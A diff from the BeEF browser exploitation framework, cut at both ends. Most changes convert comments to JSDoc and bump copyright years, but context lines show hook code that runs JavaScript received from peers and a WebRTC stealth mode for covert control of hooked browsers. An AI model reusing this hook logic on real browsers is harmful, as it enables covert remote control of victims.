Beefwebrtc.prototype.createPeerConnection = function() { this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false}); } -// When the PeerConnection receives a new ICE Candidate +/** + * When the PeerConnection receives a new ICE Candidate + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onIceCandidate = function(event) { var peerid = null; @@ -155,9 +187,12 @@ Beefwebrtc.prototype.onIceCandidate = function(event) { } } -// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function -// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage -// against the message directly +/** + * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function + * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage + * against the message directly + * @memberof beef.webrtc + */ Beefwebrtc.prototype.processMessage = function(message) { beef.debug('Signalling Message - S->C: ' + JSON.stringify(message)); var msg = JSON.parse(message); @@ -193,14 +228,20 @@ Beefwebrtc.prototype.processMessage = function(message) { } } -// Send a signalling message .. +/** + * Send a signalling message .. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.sendSignalMsg = function(message) { var msgString = JSON.stringify(message); beef.debug('Signalling Message - C->S: ' + msgString); beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString}); } -// Used to record ICS candidates locally +/** + * Used to record ICS candidates locally + * @memberof beef.webrtc + */ Beefwebrtc.prototype.noteIceCandidate = function(location, type) { if (this.gatheredIceCandidateTypes[location][type]) return; @@ -208,12 +249,19 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) { // updateInfoDiv(); } -// When the signalling state changes. We don't actually do anything with this except log it. + +/** + * When the signalling state changes. We don't actually do anything with this except log it. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onSignalingStateChanged = function(event) { beef.debug("Signalling has changed to: " + event.target.signalingState); } -// When the ICE Connection State changes - this is useful to determine connection statuses with peers. +/** + * When the ICE Connection State changes - this is useful to determine connection statuses with peers. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { var peerid = null; @@ -259,7 +307,10 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { } -// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth" +/** + * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth" + * @memberof beef.webrtc + */ Beefwebrtc.prototype.goStealth = function() { //stop the beef updater rtcstealth = this.peerid; // this is a global variable @@ -269,7 +320,10 @@ Beefwebrtc.prototype.goStealth = function() { setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } -// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it +/** + * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it + * @memberof beef.webrtc + */ rtcpollPeer = function() { if (rtcstealth == false) { //my peer has disabled stealth mode @@ -284,7 +338,10 @@ rtcpollPeer = function() { setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } -// When a data channel has been established - within here is the message handling function as well +/** + * When a data channel has been established - within here is the message handling function as well + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onDataChannel = function(event) { var peerid = null; for (k in globalrtc) { @@ -351,20 +408,29 @@ Beefwebrtc.prototype.onDataChannel = function(event) { } } -// How the browser executes received JS (this is pretty hacky) +/** + * How the browser executes received JS (this is pretty hacky) + * @memberof beef.webrtc + */ Beefwebrtc.prototype.execCmd = function(input) { var fn = new Function(input); var res = fn(); return res.toString(); } -// Shortcut function to SEND a data messsage +/** + * Shortcut function to SEND a data messsage + * @memberof beef.webrtc + */ Beefwebrtc.prototype.sendPeerMsg = function(msg) { beef.debug('sendPeerMsg to ' + this.peerid); this.dataChannel.send(msg); } -// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready +/** + * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready + * @memberof beef.webrtc + */ Beefwebrtc.prototype.maybeStart = function() { beef.debug("maybe starting ... "); @@ -387,7 +453,10 @@ Beefwebrtc.prototype.maybeStart = function() { } } -// RTC - create an offer - the caller runs this, while the receiver runs calleeStart() +/** + * RTC - create an offer - the caller runs this, while the receiver runs calleeStart() + * @memberof beef.webrtc + */ Beefwebrtc.prototype.doCall = function() { var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints); var self = this; @@ -396,7 +465,10 @@ Beefwebrtc.prototype.doCall = function() { ' \'' + JSON.stringify(constraints) + '\'.'); } -// Helper method to merge SDP constraints +/** + * Helper method to merge SDP constraints + * @memberof beef.webrtc + */ Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) { var merged = cons1; for (var name in cons2.mandatory) { @@ -406,14 +478,13 @@ Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) { return merged; } -// Sets the local RTC session description, sends this information back (via signalling) -// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling) -// The receiver uses this information too - and vice-versa - hence the signaling +/** + * Sets the local RTC session description, sends this information back (via signalling) + * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling) + * The receiver uses this information too - and vice-versa - hence the signaling + * + */ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { - // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters - // Stupid .. javascript :( - // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently - // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one.. var peerid = null; for (var k in beefrtcs) { @@ -435,17 +506,26 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { } } -// If the browser can't build an SDP +/** + * If the browser can't build an SDP + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { beef.debug('Failed to create session description: ' + error.toString()); } -// If the browser successfully sets a remote description +/** + * If the browser successfully sets a remote description + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() { beef.debug('Set remote session description successfully'); } -// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() +/** + * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() + * @memberof beef.webrtc + */ Beefwebrtc.prototype.calleeStart = function() { // Callee starts to process cached offer and other messages. while (this.msgQueue.length > 0) { @@ -453,7 +533,10 @@ Beefwebrtc.prototype.calleeStart = function() { } } -// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers +/** + * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers + * @memberof beef.webrtc + */ Beefwebrtc.prototype.processSignalingMessage = function(message) { if (!this.started) { beef.debug('peerConnection has not been created yet!'); @@ -522,19 +605,28 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { } } -// Used to set the RTC remote session +/** + * Used to set the RTC remote session + * @memberof beef.webrtc + */ Beefwebrtc.prototype.setRemote = function(message) { globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); } -// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below +/** + * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below + * @memberof beef.webrtc + */ Beefwebrtc.prototype.doAnswer = function() { beef.debug('Sending answer to peer.'); globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints); } -// Helper method to determine what kind of ICE Candidate we've received +/** + * Helper method to determine what kind of ICE Candidate we've received + * @memberof beef.webrtc + */ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { if (candidateSDP.indexOf("typ relay ") >= 0) return "TURN"; @@ -545,17 +637,26 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { return "UNKNOWN"; } -// Event handler for successful addition of ICE Candidates +/** + * Event handler for successful addition of ICE Candidates + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onAddIceCandidateSuccess = function() { beef.debug('AddIceCandidate success.'); } -// Event handler for unsuccessful addition of ICE Candidates +/** + * Event handler for unsuccessful addition of ICE Candidates + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onAddIceCandidateError = function(error) { beef.debug('Failed to add Ice Candidate: ' + error.toString()); } -// If a peer hangs up (we bring down the peerconncetion via the stop() method) +/** + * If a peer hangs up (we bring down the peerconncetion via the stop() method) + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onRemoteHangup = function() { beef.debug('Session terminated.'); this.initiator = 0; @@ -563,7 +664,10 @@ Beefwebrtc.prototype.onRemoteHangup = function() { this.stop(); } -// Bring down the peer connection +/** + * Bring down the peer connection + * @memberof beef.webrtc + */ Beefwebrtc.prototype.stop = function() { this.started = false; // we're no longer started this.signalingReady = false; // signalling isn't ready @@ -574,8 +678,11 @@ Beefwebrtc.prototype.stop = function() { this.allgood = false; // allgood .. NAH UH } -// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status -// These are the methods which are executed via the custom extension of the hook.js +/** + * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status + * These are the methods which are executed via the custom extension of the hook.js + * @memberof beef.webrtc + */ beef.webrtc = { // Start the RTCPeerConnection process start: function(initiator,peer,turnjson,stunservers,verbose) { diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 6077d0167..77697d22f 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -1,16 +1,15 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** - * @Literal object: beef.websocket - * * Manage the WebSocket communication channel. * This channel is much faster and responsive, and it's used automatically * if the browser supports WebSockets AND beef.http.websocket.enable = true. + * @namespace beef.websocket */ beef.websocket = { diff --git a/core/main/command.rb b/core/main/command.rb index e4e0778c7..08a3a499a 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/configuration.rb b/core/main/configuration.rb index da349704e..7db1660a2 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index a5bbf7ce2..4865e1f53 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb index 53bb43308..005512db5 100644 --- a/core/main/console/commandline.rb +++ b/core/main/console/commandline.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/constants/browsers.rb b/core/main/constants/browsers.rb index 2ea704e05..3be6c5c83 100644 --- a/core/main/constants/browsers.rb +++ b/core/main/constants/browsers.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/constants/commandmodule.rb b/core/main/constants/commandmodule.rb index 887d96755..abbfae262 100644 --- a/core/main/constants/commandmodule.rb +++ b/core/main/constants/commandmodule.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb index 2f337ef42..0b283b249 100644 --- a/core/main/constants/hardware.rb +++ b/core/main/constants/hardware.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 9abdbe00d..8242cac49 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/crypto.rb b/core/main/crypto.rb index 1258cb38c..50a2fea6f 100644 --- a/core/main/crypto.rb +++ b/core/main/crypto.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/geoip.rb b/core/main/geoip.rb index a39bc8b9d..03277e9b3 100644 --- a/core/main/geoip.rb +++ b/core/main/geoip.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index d9592ccb2..b39ab8f9d 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 5b3007990..0a8225355 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 502f02325..a2621087d 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 757aa2e5f..f291471c5 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 9409de26e..eb8cb0026 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # @@ -53,7 +53,7 @@ module BeEF if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) #content = command_module.output.gsub('// #// - #// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + #// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net #// Browser Exploitation Framework (BeEF) - http://beefproject.com #// See the file 'doc/COPYING' for copying permission #// diff --git a/core/main/logger.rb b/core/main/logger.rb index 0cb4c02b4..c64e536c5 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/migration.rb b/core/main/migration.rb index ca2a6d968..3d87d4400 100644 --- a/core/main/migration.rb +++ b/core/main/migration.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/model.rb b/core/main/model.rb index 0401a78fe..57da93347 100644 --- a/core/main/model.rb +++ b/core/main/model.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index dc35444c8..83decba07 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/command.rb b/core/main/models/command.rb index d43cb5917..28afab8b6 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb index b35275af8..c67a40fd8 100644 --- a/core/main/models/commandmodule.rb +++ b/core/main/models/commandmodule.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/execution.rb b/core/main/models/execution.rb index 38f361b3d..691e471fb 100644 --- a/core/main/models/execution.rb +++ b/core/main/models/execution.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/hookedbrowser.rb b/core/main/models/hookedbrowser.rb index c11d0db41..872a420f3 100644 --- a/core/main/models/hookedbrowser.rb +++ b/core/main/models/hookedbrowser.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/log.rb b/core/main/models/log.rb index 2c789ccae..41449207d 100644 --- a/core/main/models/log.rb +++ b/core/main/models/log.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/optioncache.rb b/core/main/models/optioncache.rb index 9289e04ad..e659cb3ed 100644 --- a/core/main/models/optioncache.rb +++ b/core/main/models/optioncache.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/result.rb b/core/main/models/result.rb index a78c5ddd7..60af3f34f 100644 --- a/core/main/models/result.rb +++ b/core/main/models/result.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/models/rule.rb b/core/main/models/rule.rb index b6f7030fa..c3c0b7942 100644 --- a/core/main/models/rule.rb +++ b/core/main/models/rule.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb index fea822db3..a3a83fc2e 100644 --- a/core/main/network_stack/api.rb +++ b/core/main/network_stack/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 9947cd974..522df6fcf 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 70d5fbcb3..90b50f068 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/handlers/raw.rb b/core/main/network_stack/handlers/raw.rb index ab377e119..1652a6023 100644 --- a/core/main/network_stack/handlers/raw.rb +++ b/core/main/network_stack/handlers/raw.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/handlers/redirector.rb b/core/main/network_stack/handlers/redirector.rb index b3b472efe..ea89c82b9 100644 --- a/core/main/network_stack/handlers/redirector.rb +++ b/core/main/network_stack/handlers/redirector.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 5c9c1d229..0d651cf09 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 550c22646..f917a8168 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/admin.rb b/core/main/rest/handlers/admin.rb index 7a6dded43..2e300acd8 100644 --- a/core/main/rest/handlers/admin.rb +++ b/core/main/rest/handlers/admin.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb index ae2bcaa0d..d6e5ba19e 100644 --- a/core/main/rest/handlers/autorun_engine.rb +++ b/core/main/rest/handlers/autorun_engine.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/browserdetails.rb b/core/main/rest/handlers/browserdetails.rb index 626415a73..3c265e4ed 100644 --- a/core/main/rest/handlers/browserdetails.rb +++ b/core/main/rest/handlers/browserdetails.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/categories.rb b/core/main/rest/handlers/categories.rb index 12dfc0b27..09180970d 100644 --- a/core/main/rest/handlers/categories.rb +++ b/core/main/rest/handlers/categories.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index edbd3c9db..91b9e5f49 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/logs.rb b/core/main/rest/handlers/logs.rb index 9f4bc08c3..6ea99bcf7 100644 --- a/core/main/rest/handlers/logs.rb +++ b/core/main/rest/handlers/logs.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 5070afafa..803b5c8af 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/rest/handlers/server.rb b/core/main/rest/handlers/server.rb index 473c7dc5f..53b389665 100644 --- a/core/main/rest/handlers/server.rb +++ b/core/main/rest/handlers/server.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/router/api.rb b/core/main/router/api.rb index ccfc0b4ed..676d83b51 100644 --- a/core/main/router/api.rb +++ b/core/main/router/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/router/router.rb b/core/main/router/router.rb index 9bce57523..7ea91f611 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/server.rb b/core/main/server.rb index 495f7c202..de5c6056a 100644 --- 